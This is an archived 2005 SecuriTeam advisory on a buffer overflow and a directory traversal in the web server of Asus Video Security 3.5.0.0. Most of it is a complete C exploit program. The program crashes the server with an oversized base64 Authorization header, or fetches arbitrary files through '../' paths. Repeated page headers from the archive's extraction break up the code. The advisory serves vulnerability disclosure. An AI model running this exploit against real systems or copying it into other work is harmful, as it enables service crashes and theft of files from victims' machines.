

[NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0038.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/10/05

To: list@securiteam.com

Date: 10 Nov 2005 15:07:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

SUMMARY

" <<http://www.asus.com/products1.aspx?l1=2&share=icon/12>> VideoSecurity Online provides you with various security monitoring modes."

Asus Video Security does not validate user provided input properly allowing attackers to execute arbitrary code using a buffer overflow, and directory traversal vulnerability.

DETAILS

Vulnerable Systems:

* Asus Video Security version 3.5.0.0 and prior

Asus Video Security is a monitoring software bundled with Asus graphic cards. By default the built-in web server is disabled so these bugs can be exploited "only" if it has been manually activated.

Buffer Overflow:

Authorization buffer overflow that happens during the handling of the

Securiteam: [NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

decoded (base64) username:password string sent to a password protected ASUS Video Security web server.

The server is not vulnerable unless authorization is in use.

Directory Traversal:

The built-in web server is also vulnerable to a classical directory traversal bug which allows an attacker to download any file in the disk where the program is installed.

That's possible through the usage of the dot-dot-slash (../) and backslash (..) patterns (HTTP encoded chars are not allowed in the web server).

If the server is protected with password the attacker must know the right keyword.

Exploit:

The winerr.h file can be found at:

<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>

<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>

asusvsbugs.c

/*

by Luigi Auriemma

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#ifdef WIN32
```

```
    #include <winsock.h>
    #include "winerr.h"
```

```
    #define close closesocket
    #define ONESEC 1000
```

```
#else
```

```
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
```

```
    #define ONESEC 1
```

```
#endif
```

```
#define VER "0.1"
```

```
#define PORT 80
```

```
#define BUFSZ 8192
```

Securiteam: [NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

```
#define BOFSZ 2700

u_char *delimit(u_char *data);
int http_get(u_char *in, int insz, u_char *out, int outsz);
u_char *base64_encode(u_char *data, int *length);
u_int resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

int main(int argc, char *argv[]) {
    int len,
        attack,
        auth = 0;
    u_short port = PORT;
    u_char buff[BUFSZ],
        uri[BUFSZ >> 1],
        more[BUFSZ >> 1],
        userpass[64],
        *b64,
        *p;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "ASUS Video Security <= 3.5.0.0 HTTP multiple vulnerabilities\n"
        "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attack:\n"
            "1 = authorization buffer-overflow, works only if server uses\n"
            "password\n"
            "2 = directory traversal, if the server uses a password you\n"
            "must know it\n"
            "\n", argv[0], port);
        exit(1);
    }
}
```

Securiteam: [NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

```
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);

peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
    inet_ntoa(peer.sin_addr), port);

len = sprintf(buff,
    "GET / HTTP/1.1\r\n"
    "Connection: close\r\n"
    "\r\n");

fputs("- check server\n", stdout);
len = http_get(buff, len, buff, sizeof(buff) - 1);

p = strstr(buff, "\r\n\r\n");
if(p) *p = 0;
if(strstr(buff, "Authenticate")) {
    auth = 1;
    fputs("- server uses password\n", stdout);
}

*uri = 0;
*more = 0;

switch(attack) {
    case 1: {
        if(!auth) {
            printf(" Alert: the server doesn't use password so is not
vulnerable to this attack\n");
        }
        memset(buff, 'A', BOFSZ);
        len = BOFSZ;
        b64 = base64_encode(buff, &len);
        sprintf(more, "Authorization: Basic %s\r\n", b64);
        free(b64);
    } break;

    case 2: {
        if(auth) {
            fputs("- insert username:password (like asus:asus):\n ",
stdout);
            fflush(stdin);
            fgets(userpass, sizeof(userpass), stdin);
            len = delimit(userpass) - userpass;
            b64 = base64_encode(userpass, &len);
            sprintf(more, "Authorization: Basic %s\r\n", b64);
            free(b64);
        }
    }
}
```

Securiteam: [NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

```
    }
    fputs("- insert the URI (like ../../../../autoexec.bat):\n ",
stdout);
    fflush(stdin);
    fgets(uri, sizeof(uri), stdin);
    delimit(uri);
    } break;

    default: {
        printf("\nError: the attack %d is not available\n\n", attack);
        exit(1);
    } break;
}

sleep(ONESEC);

len = sprintf(buff,
"GET /%s HTTP/1.1\r\n"
"Connection: close\r\n"
"%s"
"\r\n",
uri,
more);

fputs("- launch attack\n", stdout);
len = http_get(buff, len, buff, sizeof(buff) - 1);

if(len < 0) {
    fputs("- the server seems crashed\n\n", stdout);
} else {
    fputs("- show the returned data:\n", stdout);
    fputs(buff, stdout);
}

return(0);
}

u_char *delimit(u_char *data) {
    while(*data > '\r') data++;
    *data = 0;
    return(data);
}

int http_get(u_char *in, int insz, u_char *out, int outsz) {
    int sd,
        t,
        len = 0;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
```

Securiteam: [NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

```
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
    < 0) std_err();

if(send(sd, in, insz, 0)
    < 0) std_err();

while(outsz) {
    t = recv(sd, out, outsz, 0);
    if(t < 0) {
        len = -1;
        break;
    }
    if(!t) break;
    len += t;
    out += t;
    outsz -= t;
}
*out = 0;

close(sd);
return(len);
}

u_char *base64_encode(u_char *data, int *length) {
    int r64len,
        len = *length;
    u_char *p64;
    static u_char *r64;
    const static char enctab[64] = {
        'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
        'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
        'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
        'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
    };

    r64len = ((len / 3) << 2) + 5;
    r64 = malloc(r64len);
    if(!r64) return(NULL);
    p64 = r64;

    do {
        *p64++ = enctab[( *data >> 2) & 63];
        *p64++ = enctab[((( *data & 3) << 4) | (( *data + 1) >> 4) & 15) &
63];
        data++;
        *p64++ = enctab[((( *data & 15) << 2) | (( *data + 1) >> 6) & 3) &
63];
        data++;
        *p64++ = enctab[*data & 63];
        data++;
    }
```

Securiteam: [NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

```
    len -= 3;
} while(len > 0);

for(; len < 0; len++) *(p64 + len) = '=';
*p64 = 0;

*length = p64 - r64;
return(r64);
}

u_int resolv(char *host) {
    struct hostent *hp;
    u_int host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *) (hp->h_addr);
    }
    return(host_ip);
}

#ifdef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EoF */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma .

The original article can be found at:

<<http://aluigi.altervista.org/adv/asusvsbugs-adv.txt>>
<http://aluigi.altervista.org/adv/asusvsbugs-adv.txt>

=====
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [NT] Asus Video Security Multiple Vulnerabilities (Buffer Overflow, Directory Traversal)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.